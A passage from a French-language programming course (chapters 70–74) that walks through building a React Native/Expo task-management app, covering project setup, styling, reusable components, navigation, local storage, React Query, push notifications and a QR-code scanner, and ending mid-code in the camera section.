════════════════════════════════════════════════════════════════════════════════
CHAPITRE 70 : SETUP ET STRUCTURE DE PROJET
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
70.1 — CRÉER UN PROJET EXPO
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Créer le projet avec template TypeScript :
  npx create-expo-app taskflow-mobile --template

  # Choisir : Blank (TypeScript)

  cd taskflow-mobile
  npm install

  # Démarrer le serveur de dev :
  npx expo start

  # Options :
  # Press i -> Simulateur iOS (macOS seulement + Xcode requis)
  # Press a -> Émulateur Android (Android Studio requis)
  # Press w -> Version web (pour test rapide)
  # Scan QR -> Expo Go sur le téléphone physique

  # Dépendances essentielles :
  npx expo install @react-navigation/native @react-navigation/stack
  npx expo install react-native-screens react-native-safe-area-context
  npx expo install @react-navigation/bottom-tabs
  npx expo install @tanstack/react-query axios
  npx expo install @react-native-async-storage/async-storage
  npx expo install expo-image expo-camera expo-location
  npx expo install expo-notifications

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
70.2 — STRUCTURE DU PROJET
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  taskflow-mobile/
  ├── app/                    <- Expo Router (routing par fichiers)
  │   ├── _layout.tsx         <- Layout racine
  │   ├── index.tsx           <- Écran accueil (/)
  │   ├── (auth)/             <- Groupe auth
  │   │   ├── login.tsx
  │   │   └── register.tsx
  │   └── (tabs)/             <- Navigation par onglets
  │       ├── _layout.tsx     <- Configuration des tabs
  │       ├── dashboard.tsx
  │       ├── tasks/
  │       │   ├── index.tsx   <- /tasks
  │       │   └── [id].tsx    <- /tasks/:id
  │       ├── team.tsx
  │       └── profile.tsx
  ├── components/
  │   ├── common/
  │   │   ├── Button.tsx
  │   │   ├── Input.tsx
  │   │   ├── Badge.tsx
  │   │   ├── Avatar.tsx
  │   │   ├── Card.tsx
  │   │   ├── Spinner.tsx
  │   │   └── EmptyState.tsx
  │   └── tasks/
  │       ├── TaskCard.tsx
  │       ├── TaskList.tsx
  │       └── TaskForm.tsx
  ├── hooks/
  ├── api/
  ├── store/
  ├── styles/
  │   ├── colors.ts           <- Design tokens
  │   ├── spacing.ts
  │   └── typography.ts
  ├── types/
  ├── utils/
  ├── assets/                 <- Images, icônes, fonts
  ├── app.json                <- Config Expo
  └── tsconfig.json


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 71 : COMPOSANTS NATIFS ET STYLESHEET
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
71.1 — COMPOSANTS DE BASE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import {
    View,           // Équivalent div — conteneur layout
    Text,           // Tout texte DOIT être dans <Text>
    Image,          // Images (local ou distantes)
    TextInput,      // Champ de saisie
    TouchableOpacity, // Bouton pressable (avec feedback visuel)
    Pressable,      // Alternative moderne à TouchableOpacity
    ScrollView,     // Scroll vertical ou horizontal
    FlatList,       // Liste virtualisée performante
    SectionList,    // Liste avec sections/catégories
    KeyboardAvoidingView, // Évite que le clavier recouvre les inputs
    Modal,          // Modal natif
    ActivityIndicator, // Spinner natif
    Switch,         // Toggle switch
    Alert,          // Dialog natif (alert/confirm)
    Platform,       // Détection iOS/Android
    StatusBar,      // Contrôle la barre de statut
    SafeAreaView,   // Respecte les notchs et safe areas
  } from 'react-native';

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
71.2 — STYLESHEET (STYLES REACT NATIVE)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { StyleSheet, Dimensions } from 'react-native';

  const { width: SCREEN_WIDTH, height: SCREEN_HEIGHT } = Dimensions.get('window');

  // DIFFÉRENCES IMPORTANTES vs CSS Web :
  // - Pas d'unités (px, em, rem) -> nombres purs (density-independent pixels)
  // - flexDirection: 'column' par défaut (column, pas row)
  // - Pas d'héritage de style (chaque composant doit définir ses styles)
  // - Seulement un sous-ensemble de CSS est supporté
  // - Utiliser StyleSheet.create pour les performances

  const styles = StyleSheet.create({
    // CONTENEURS :
    container: {
      flex:            1,
      backgroundColor: '#f9fafb',
    },
    row: {
      flexDirection:  'row',
      alignItems:     'center',
      justifyContent: 'space-between',
    },
    centered: {
      flex:           1,
      alignItems:     'center',
      justifyContent: 'center',
    },

    // CARD :
    card: {
      backgroundColor: '#ffffff',
      borderRadius:    12,
      padding:         16,
      marginBottom:    12,
      shadowColor:     '#000',
      shadowOffset:    { width: 0, height: 2 },
      shadowOpacity:   0.08,
      shadowRadius:    8,
      elevation:       3,  // Android shadow
    },

    // TYPOGRAPHIE :
    title: {
      fontSize:   20,
      fontWeight: '700',
      color:      '#111827',
      lineHeight: 28,
    },
    body: {
      fontSize:   14,
      color:      '#6b7280',
      lineHeight: 20,
    },

    // BOUTON :
    button: {
      backgroundColor:  '#3b82f6',
      borderRadius:     8,
      paddingVertical:  12,
      paddingHorizontal: 24,
      alignItems:       'center',
    },
    buttonText: {
      color:      '#ffffff',
      fontSize:   16,
      fontWeight: '600',
    },
    buttonDisabled: {
      backgroundColor: '#93c5fd',
    },

    // INPUT :
    input: {
      borderWidth:    1,
      borderColor:    '#e5e7eb',
      borderRadius:   8,
      paddingVertical: 12,
      paddingHorizontal: 16,
      fontSize:       16,
      color:          '#111827',
      backgroundColor: '#ffffff',
    },
    inputFocused: {
      borderColor: '#3b82f6',
      shadowColor: '#3b82f6',
      shadowOffset: { width: 0, height: 0 },
      shadowOpacity: 0.2,
      shadowRadius: 4,
    },
    inputError: {
      borderColor: '#ef4444',
    },
  });

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
71.3 — DESIGN TOKENS (SYSTÈME DE DESIGN MOBILE)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/styles/colors.ts
  export const colors = {
    primary:   { 50: '#eff6ff', 500: '#3b82f6', 600: '#2563eb', 700: '#1d4ed8' },
    success:   { 50: '#f0fdf4', 500: '#22c55e', 700: '#15803d' },
    warning:   { 50: '#fffbeb', 500: '#f59e0b', 700: '#b45309' },
    danger:    { 50: '#fef2f2', 500: '#ef4444', 700: '#b91c1c' },
    neutral:   {
      50:  '#f9fafb', 100: '#f3f4f6', 200: '#e5e7eb',
      300: '#d1d5db', 400: '#9ca3af', 500: '#6b7280',
      600: '#4b5563', 700: '#374151', 800: '#1f2937', 900: '#111827',
    },
    white: '#ffffff',
    black: '#000000',

    // Sémantique :
    background:  '#f9fafb',
    card:        '#ffffff',
    text:        '#111827',
    textMuted:   '#6b7280',
    border:      '#e5e7eb',
    placeholder: '#9ca3af',

    // Priorités :
    priorityLow:      '#22c55e',
    priorityMedium:   '#f59e0b',
    priorityHigh:     '#ef4444',
    priorityCritical: '#7c3aed',
  } as const;

  // src/styles/spacing.ts
  export const spacing = {
    1: 4, 2: 8, 3: 12, 4: 16,
    5: 20, 6: 24, 8: 32, 10: 40, 12: 48,
  } as const;

  // src/styles/typography.ts
  import { Platform } from 'react-native';
  export const typography = {
    fontFamily: Platform.select({ ios: 'System', android: 'Roboto' }),
    sizes: { xs: 12, sm: 14, base: 16, lg: 18, xl: 20, '2xl': 24, '3xl': 30 },
    weights: { normal: '400', medium: '500', semibold: '600', bold: '700' },
    lineHeights: { tight: 1.25, normal: 1.5, relaxed: 1.75 },
  } as const;

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
71.4 — COMPOSANTS RÉUTILISABLES REACT NATIVE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/components/common/Button.tsx
  import { TouchableOpacity, Text, ActivityIndicator, StyleSheet, ViewStyle } from 'react-native';
  import { ReactNode } from 'react';
  import { colors, spacing, typography } from '@/styles';

  type ButtonVariant = 'primary' | 'secondary' | 'ghost' | 'danger';
  type ButtonSize    = 'sm' | 'md' | 'lg';

  interface ButtonProps {
    children:   ReactNode;
    onPress:    () => void;
    variant?:   ButtonVariant;
    size?:      ButtonSize;
    isLoading?: boolean;
    disabled?:  boolean;
    fullWidth?: boolean;
    style?:     ViewStyle;
  }

  function Button({
    children, onPress, variant = 'primary',
    size = 'md', isLoading = false, disabled = false,
    fullWidth = false, style,
  }: ButtonProps) {
    const isDisabled = disabled || isLoading;

    return (
      <TouchableOpacity
        onPress={onPress}
        disabled={isDisabled}
        activeOpacity={0.8}
        style={[
          styles.base,
          styles[variant],
          styles[size],
          fullWidth && styles.fullWidth,
          isDisabled && styles.disabled,
          style,
        ]}
        accessibilityRole="button"
        accessibilityState={{ disabled: isDisabled, busy: isLoading }}
      >
        {isLoading ? (
          <ActivityIndicator
            color={variant === 'primary' ? colors.white : colors.primary[500]}
            size="small"
          />
        ) : (
          <Text style={[styles.text, styles[`${variant}Text`], styles[`${size}Text`]]}>
            {children}
          </Text>
        )}
      </TouchableOpacity>
    );
  }

  const styles = StyleSheet.create({
    base: {
      alignItems:     'center',
      justifyContent: 'center',
      borderRadius:   8,
      flexDirection:  'row',
      gap:            8,
    },
    // Variants :
    primary:   { backgroundColor: colors.primary[600] },
    secondary: { backgroundColor: colors.neutral[100], borderWidth: 1, borderColor: colors.border },
    ghost:     { backgroundColor: 'transparent' },
    danger:    { backgroundColor: colors.danger[500] },
    // Sizes :
    sm: { paddingVertical: spacing[2], paddingHorizontal: spacing[3] },
    md: { paddingVertical: spacing[3], paddingHorizontal: spacing[4] },
    lg: { paddingVertical: spacing[4], paddingHorizontal: spacing[6] },
    // States :
    disabled:  { opacity: 0.5 },
    fullWidth: { width: '100%' },
    // Text :
    text:          { fontWeight: typography.weights.semibold },
    primaryText:   { color: colors.white },
    secondaryText: { color: colors.neutral[700] },
    ghostText:     { color: colors.primary[600] },
    dangerText:    { color: colors.white },
    smText:        { fontSize: typography.sizes.sm },
    mdText:        { fontSize: typography.sizes.base },
    lgText:        { fontSize: typography.sizes.lg },
  });

  export default Button;

  // src/components/common/Input.tsx
  import { useState } from 'react';
  import { View, Text, TextInput, TextInputProps, StyleSheet } from 'react-native';

  interface InputProps extends TextInputProps {
    label?:     string;
    error?:     string;
    hint?:      string;
    leftIcon?:  ReactNode;
    rightIcon?: ReactNode;
  }

  function Input({ label, error, hint, leftIcon, rightIcon, style, ...rest }: InputProps) {
    const [isFocused, setIsFocused] = useState(false);

    return (
      <View style={styles.wrapper}>
        {label && <Text style={styles.label}>{label}</Text>}
        <View style={[
          styles.inputContainer,
          isFocused && styles.focused,
          error && styles.errorContainer,
        ]}>
          {leftIcon && <View style={styles.icon}>{leftIcon}</View>}
          <TextInput
            style={[styles.input, style]}
            placeholderTextColor={colors.placeholder}
            onFocus={() => setIsFocused(true)}
            onBlur={() => setIsFocused(false)}
            accessibilityLabel={label}
            accessibilityHint={hint}
            {...rest}
          />
          {rightIcon && <View style={styles.icon}>{rightIcon}</View>}
        </View>
        {error && <Text style={styles.error} accessibilityRole="alert">{error}</Text>}
        {hint && !error && <Text style={styles.hint}>{hint}</Text>}
      </View>
    );
  }

  const styles = StyleSheet.create({
    wrapper:        { marginBottom: spacing[4] },
    label:          { fontSize: typography.sizes.sm, fontWeight: typography.weights.medium,
                      color: colors.neutral[700], marginBottom: spacing[1] },
    inputContainer: { flexDirection: 'row', alignItems: 'center', borderWidth: 1,
                      borderColor: colors.border, borderRadius: 8,
                      backgroundColor: colors.white },
    focused:        { borderColor: colors.primary[500] },
    errorContainer: { borderColor: colors.danger[500] },
    input:          { flex: 1, paddingVertical: spacing[3], paddingHorizontal: spacing[4],
                      fontSize: typography.sizes.base, color: colors.text },
    icon:           { paddingHorizontal: spacing[3] },
    error:          { fontSize: typography.sizes.sm, color: colors.danger[500], marginTop: spacing[1] },
    hint:           { fontSize: typography.sizes.sm, color: colors.textMuted, marginTop: spacing[1] },
  });

  export default Input;

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
71.5 — COMPOSANT TASKCARD MOBILE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/components/tasks/TaskCard.tsx
  import { View, Text, TouchableOpacity, StyleSheet } from 'react-native';
  import { Swipeable } from 'react-native-gesture-handler';
  import { Ionicons } from '@expo/vector-icons';
  import type { Task } from '@/types';

  const PRIORITY_COLORS = {
    low:      colors.priorityLow,
    medium:   colors.priorityMedium,
    high:     colors.priorityHigh,
    critical: colors.priorityCritical,
  };

  interface TaskCardProps {
    task:        Task;
    onPress:     (task: Task) => void;
    onComplete:  (id: number) => void;
    onDelete:    (id: number) => void;
  }

  function TaskCard({ task, onPress, onComplete, onDelete }: TaskCardProps) {
    const isCompleted = task.status === 'done';

    // Actions swipe gauche (supprimer) :
    const renderRightActions = () => (
      <TouchableOpacity
        style={styles.deleteAction}
        onPress={() => onDelete(task.id)}
        accessibilityLabel={`Supprimer ${task.title}`}
      >
        <Ionicons name="trash-outline" size={24} color={colors.white} />
        <Text style={styles.deleteText}>Supprimer</Text>
      </TouchableOpacity>
    );

    // Actions swipe droite (terminer) :
    const renderLeftActions = () => (
      <TouchableOpacity
        style={styles.completeAction}
        onPress={() => onComplete(task.id)}
        accessibilityLabel={`Terminer ${task.title}`}
      >
        <Ionicons name="checkmark-circle-outline" size={24} color={colors.white} />
        <Text style={styles.completeText}>Terminer</Text>
      </TouchableOpacity>
    );

    return (
      <Swipeable
        renderRightActions={renderRightActions}
        renderLeftActions={!isCompleted ? renderLeftActions : undefined}
        friction={2}
      >
        <TouchableOpacity
          style={[styles.card, isCompleted && styles.cardCompleted]}
          onPress={() => onPress(task)}
          activeOpacity={0.9}
          accessibilityRole="button"
          accessibilityLabel={`Tâche : ${task.title}, ${task.status}, priorité ${task.priority}`}
        >
          {/* Indicateur de priorité */}
          <View
            style={[styles.priorityBar, { backgroundColor: PRIORITY_COLORS[task.priority] }]}
          />

          <View style={styles.content}>
            {/* Titre + Checkbox */}
            <View style={styles.headerRow}>
              <TouchableOpacity
                onPress={() => onComplete(task.id)}
                style={styles.checkbox}
                accessibilityRole="checkbox"
                accessibilityState={{ checked: isCompleted }}
              >
                <Ionicons
                  name={isCompleted ? 'checkmark-circle' : 'ellipse-outline'}
                  size={22}
                  color={isCompleted ? colors.success[500] : colors.neutral[400]}
                />
              </TouchableOpacity>

              <Text
                style={[styles.title, isCompleted && styles.titleCompleted]}
                numberOfLines={2}
              >
                {task.title}
              </Text>
            </View>

            {/* Meta */}
            <View style={styles.metaRow}>
              {task.dueDate && (
                <View style={styles.metaItem}>
                  <Ionicons name="calendar-outline" size={12} color={colors.textMuted} />
                  <Text style={styles.metaText}>
                    {new Date(task.dueDate).toLocaleDateString('fr-FR')}
                  </Text>
                </View>
              )}

              {task.assignee && (
                <View style={styles.metaItem}>
                  <Text style={styles.assigneeInitial}>
                    {task.assignee.name.charAt(0).toUpperCase()}
                  </Text>
                  <Text style={styles.metaText}>{task.assignee.name.split(' ')[0]}</Text>
                </View>
              )}

              {task.tags.length > 0 && (
                <Text style={styles.tagsCount}>+{task.tags.length} tags</Text>
              )}
            </View>
          </View>
        </TouchableOpacity>
      </Swipeable>
    );
  }

  const styles = StyleSheet.create({
    card: {
      flexDirection:   'row',
      backgroundColor: colors.card,
      borderRadius:    12,
      marginHorizontal: spacing[4],
      marginBottom:    spacing[3],
      overflow:        'hidden',
      shadowColor:     colors.black,
      shadowOffset:    { width: 0, height: 1 },
      shadowOpacity:   0.06,
      shadowRadius:    4,
      elevation:       2,
    },
    cardCompleted:  { opacity: 0.7 },
    priorityBar:    { width: 4 },
    content:        { flex: 1, padding: spacing[4] },
    headerRow:      { flexDirection: 'row', alignItems: 'flex-start', gap: spacing[2] },
    checkbox:       { marginTop: 2 },
    title:          { flex: 1, fontSize: typography.sizes.base, fontWeight: typography.weights.medium,
                      color: colors.text, lineHeight: 22 },
    titleCompleted: { textDecorationLine: 'line-through', color: colors.textMuted },
    metaRow:        { flexDirection: 'row', alignItems: 'center', gap: spacing[3], marginTop: spacing[2] },
    metaItem:       { flexDirection: 'row', alignItems: 'center', gap: 4 },
    metaText:       { fontSize: typography.sizes.xs, color: colors.textMuted },
    assigneeInitial:{ width: 16, height: 16, borderRadius: 8, backgroundColor: colors.primary[100],
                      textAlign: 'center', fontSize: 10, fontWeight: '700', color: colors.primary[700] },
    tagsCount:      { fontSize: typography.sizes.xs, color: colors.primary[600] },
    deleteAction:   { backgroundColor: colors.danger[500], justifyContent: 'center',
                      alignItems: 'center', width: 80, borderRadius: 12 },
    deleteText:     { color: colors.white, fontSize: typography.sizes.xs, marginTop: 4 },
    completeAction: { backgroundColor: colors.success[500], justifyContent: 'center',
                      alignItems: 'center', width: 80, borderRadius: 12 },
    completeText:   { color: colors.white, fontSize: typography.sizes.xs, marginTop: 4 },
  });

  export default TaskCard;


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 72 : NAVIGATION REACT NAVIGATION
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
72.1 — CONFIGURATION DE LA NAVIGATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/navigation/AppNavigator.tsx
  import { NavigationContainer } from '@react-navigation/native';
  import { createNativeStackNavigator } from '@react-navigation/native-stack';
  import { createBottomTabNavigator } from '@react-navigation/bottom-tabs';
  import { Ionicons } from '@expo/vector-icons';
  import { useAuth } from '@/hooks/useAuth';

  // Types de navigation (TypeScript) :
  export type RootStackParamList = {
    Auth:      undefined;
    App:       undefined;
  };

  export type AuthStackParamList = {
    Login:    undefined;
    Register: undefined;
  };

  export type TabParamList = {
    Dashboard: undefined;
    Tasks:     undefined;
    Team:      undefined;
    Profile:   undefined;
  };

  export type TasksStackParamList = {
    TasksList: undefined;
    TaskDetail: { taskId: number };
    NewTask:    undefined;
    EditTask:   { taskId: number };
  };

  const RootStack  = createNativeStackNavigator<RootStackParamList>();
  const AuthStack  = createNativeStackNavigator<AuthStackParamList>();
  const Tab        = createBottomTabNavigator<TabParamList>();
  const TasksStack = createNativeStackNavigator<TasksStackParamList>();

  // Stack de navigation pour les tâches :
  function TasksNavigator() {
    return (
      <TasksStack.Navigator>
        <TasksStack.Screen
          name="TasksList"
          component={TasksListScreen}
          options={{ title: 'Mes tâches' }}
        />
        <TasksStack.Screen
          name="TaskDetail"
          component={TaskDetailScreen}
          options={({ route }) => ({ title: 'Tâche' })}
        />
        <TasksStack.Screen
          name="NewTask"
          component={NewTaskScreen}
          options={{ title: 'Nouvelle tâche', presentation: 'modal' }}
        />
      </TasksStack.Navigator>
    );
  }

  // Navigation par onglets :
  function TabNavigator() {
    return (
      <Tab.Navigator
        screenOptions={({ route }) => ({
          tabBarIcon: ({ focused, color, size }) => {
            const icons: Record<keyof TabParamList, [string, string]> = {
              Dashboard: ['home',         'home-outline'],
              Tasks:     ['checkmark-circle', 'checkmark-circle-outline'],
              Team:      ['people',       'people-outline'],
              Profile:   ['person',       'person-outline'],
            };
            const [activeIcon, inactiveIcon] = icons[route.name];
            return (
              <Ionicons
                name={(focused ? activeIcon : inactiveIcon) as any}
                size={size}
                color={color}
              />
            );
          },
          tabBarActiveTintColor:   colors.primary[600],
          tabBarInactiveTintColor: colors.neutral[400],
          tabBarStyle:             { paddingBottom: 8, height: 60 },
          headerShown:             false,
        })}
      >
        <Tab.Screen name="Dashboard" component={DashboardScreen} options={{ title: 'Tableau de bord' }} />
        <Tab.Screen name="Tasks"     component={TasksNavigator}  options={{ title: 'Tâches' }} />
        <Tab.Screen name="Team"      component={TeamScreen}      options={{ title: 'Équipe' }} />
        <Tab.Screen name="Profile"   component={ProfileScreen}   options={{ title: 'Profil' }} />
      </Tab.Navigator>
    );
  }

  // Stack auth :
  function AuthNavigator() {
    return (
      <AuthStack.Navigator screenOptions={{ headerShown: false }}>
        <AuthStack.Screen name="Login"    component={LoginScreen} />
        <AuthStack.Screen name="Register" component={RegisterScreen} />
      </AuthStack.Navigator>
    );
  }

  // Navigateur racine — décide auth ou app :
  export function AppNavigator() {
    const { isAuthenticated, isLoading } = useAuth();

    if (isLoading) return <SplashScreen />;

    return (
      <NavigationContainer>
        <RootStack.Navigator screenOptions={{ headerShown: false }}>
          {isAuthenticated ? (
            <RootStack.Screen name="App"  component={TabNavigator} />
          ) : (
            <RootStack.Screen name="Auth" component={AuthNavigator} />
          )}
        </RootStack.Navigator>
      </NavigationContainer>
    );
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
72.2 — HOOKS DE NAVIGATION TYPÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { useNavigation, useRoute } from '@react-navigation/native';
  import type { NativeStackNavigationProp } from '@react-navigation/native-stack';
  import type { RouteProp } from '@react-navigation/native';

  // Hook de navigation typé :
  type TasksNavigationProp = NativeStackNavigationProp<TasksStackParamList>;

  function TasksListScreen() {
    const navigation = useNavigation<TasksNavigationProp>();

    const goToTask = (taskId: number) => {
      navigation.navigate('TaskDetail', { taskId });  // Typé !
    };

    const openNewTaskModal = () => {
      navigation.navigate('NewTask');
    };

    return (
      <View>
        <Button onPress={openNewTaskModal}>+ Nouvelle tâche</Button>
        {/* ... liste des tâches */}
      </View>
    );
  }

  // Hook de route typé :
  type TaskDetailRouteProp = RouteProp<TasksStackParamList, 'TaskDetail'>;

  function TaskDetailScreen() {
    const route     = useRoute<TaskDetailRouteProp>();
    const { taskId } = route.params;  // Typé : taskId est un number

    const { task, isLoading } = useTask(taskId);
    // ...
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 73 : GESTION DES DONNÉES DANS REACT NATIVE
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
73.1 — ASYNCSTORAGE (PERSISTANCE LOCALE)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import AsyncStorage from '@react-native-async-storage/async-storage';

  // AsyncStorage = localStorage de React Native (mais asynchrone !)

  const TOKEN_KEY = '@taskflow:token';
  const USER_KEY  = '@taskflow:user';

  // src/lib/storage.ts
  export const storage = {
    async get<T>(key: string): Promise<T | null> {
      try {
        const value = await AsyncStorage.getItem(key);
        return value ? JSON.parse(value) as T : null;
      } catch { return null; }
    },

    async set(key: string, value: unknown): Promise<void> {
      try {
        await AsyncStorage.setItem(key, JSON.stringify(value));
      } catch (err) {
        console.error('Storage set error:', err);
      }
    },

    async remove(key: string): Promise<void> {
      try {
        await AsyncStorage.removeItem(key);
      } catch {}
    },

    async clear(): Promise<void> {
      try { await AsyncStorage.clear(); } catch {}
    },
  };

  // Utilisation dans AuthContext :
  const login = async (credentials: LoginCredentials) => {
    const { token, user } = await authApi.login(credentials);
    await storage.set(TOKEN_KEY, token);
    await storage.set(USER_KEY, user);
    setUser(user);
  };

  const logout = async () => {
    await storage.remove(TOKEN_KEY);
    await storage.remove(USER_KEY);
    setUser(null);
  };

  // Au démarrage de l'app :
  useEffect(() => {
    const checkAuth = async () => {
      const token = await storage.get<string>(TOKEN_KEY);
      if (!token) { setIsLoading(false); return; }

      try {
        const user = await authApi.getMe();
        setUser(user);
      } catch {
        await storage.remove(TOKEN_KEY);
      } finally {
        setIsLoading(false);
      }
    };
    checkAuth();
  }, []);

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
73.2 — REACT QUERY DANS REACT NATIVE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

React Query fonctionne EXACTEMENT pareil dans React Native.
Même API, même hooks. Seules différences : pas de window focus,
AppState au lieu de visibilitychange.

  // src/lib/queryClient.ts
  import { QueryClient } from '@tanstack/react-query';
  import { AppState } from 'react-native';
  import { focusManager } from '@tanstack/react-query';

  // React Native : utiliser AppState pour détecter le focus :
  AppState.addEventListener('change', (state) => {
    focusManager.setFocused(state === 'active');
  });

  export const queryClient = new QueryClient({
    defaultOptions: {
      queries: {
        retry:        2,
        staleTime:    1000 * 60 * 5,  // 5 min
        networkMode:  'online',         // RN : respecter l'état réseau
      },
    },
  });

  // Utilisation dans les composants — IDENTIQUE au web :
  function TasksListScreen() {
    const { data: tasks = [], isLoading, error, refetch } = useTasks();

    // FlatList optimisée pour les grandes listes :
    return (
      <FlatList
        data={tasks}
        keyExtractor={item => item.id.toString()}
        renderItem={({ item }) => (
          <TaskCard
            task={item}
            onPress={task => navigation.navigate('TaskDetail', { taskId: task.id })}
            onComplete={handleComplete}
            onDelete={handleDelete}
          />
        )}
        refreshControl={
          <RefreshControl refreshing={isLoading} onRefresh={refetch} />
        }
        ListEmptyComponent={
          isLoading ? <Spinner /> : <EmptyState message="Aucune tâche" />
        }
        contentContainerStyle={tasks.length === 0 ? styles.centered : undefined}
      />
    );
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 74 : FONCTIONNALITÉS NATIVES
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
74.1 — NOTIFICATIONS PUSH (EXPO)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import * as Notifications from 'expo-notifications';
  import * as Device from 'expo-device';

  // Configurer le handler de notifications :
  Notifications.setNotificationHandler({
    handleNotification: async () => ({
      shouldShowAlert: true,
      shouldPlaySound: true,
      shouldSetBadge:  true,
    }),
  });

  // Hook pour les notifications :
  function useNotifications() {
    const [expoPushToken, setExpoPushToken] = useState<string | null>(null);

    useEffect(() => {
      registerForPushNotifications();
    }, []);

    const registerForPushNotifications = async () => {
      if (!Device.isDevice) {
        console.log('Notifications push requiert un device physique');
        return;
      }

      const { status: existingStatus } = await Notifications.getPermissionsAsync();
      let finalStatus = existingStatus;

      if (existingStatus !== 'granted') {
        const { status } = await Notifications.requestPermissionsAsync();
        finalStatus = status;
      }

      if (finalStatus !== 'granted') {
        Alert.alert('Permissions requises', 'Les notifications push nécessitent votre permission.');
        return;
      }

      const token = await Notifications.getExpoPushTokenAsync({
        projectId: 'your-expo-project-id',
      });
      setExpoPushToken(token.data);

      // Envoyer le token au serveur :
      await api.post('/users/push-token', { token: token.data });
    };

    return { expoPushToken };
  }

  // Planifier une notification locale :
  const scheduleTaskReminder = async (task: Task) => {
    if (!task.dueDate) return;

    const dueDate  = new Date(task.dueDate);
    const reminder = new Date(dueDate.getTime() - 24 * 60 * 60 * 1000); // J-1

    if (reminder <= new Date()) return;

    await Notifications.scheduleNotificationAsync({
      content: {
        title: '[ALARM_CLOCK] Rappel de tâche',
        body:  `"${task.title}" est à rendre demain !`,
        data:  { taskId: task.id },
      },
      trigger: { date: reminder },
    });
  };

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
74.2 — CAMÉRA — SCANNER QR CODE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { CameraView, useCameraPermissions } from 'expo-camera';
  import { useState } from 'react';

  function QRScannerScreen() {
    const [permission, requestPermission] = useCameraPermissions();
    const [scanned, setScanned] = useState(false);

    if (!permission) return <Spinner />;

    if (!permission.granted) {
      return (
        <View style={styles.centered}>
          <Text>Accès à la caméra requis.</Text>
          <Button onPress={requestPermission}>Autoriser</Button>
        </View>
      );
    }

    const handleScan = ({ data }: { data: string }) => {
      if (scanned) return;
      setScanned(true);

      try {
        const parsed = JSON.parse(data);
        if (parsed.type === 'task') {
          navigation.navigate('TaskDetail', { taskId: parsed.id });
        }
      } catch {
        Alert.alert('QR invalide', 'Ce QR code n\'est pas reconnu par TaskFlow.');
        setScanned(false);
      }
    };

    return (
      <View style={styles.container}>
        <CameraView
          style={styles.camera}
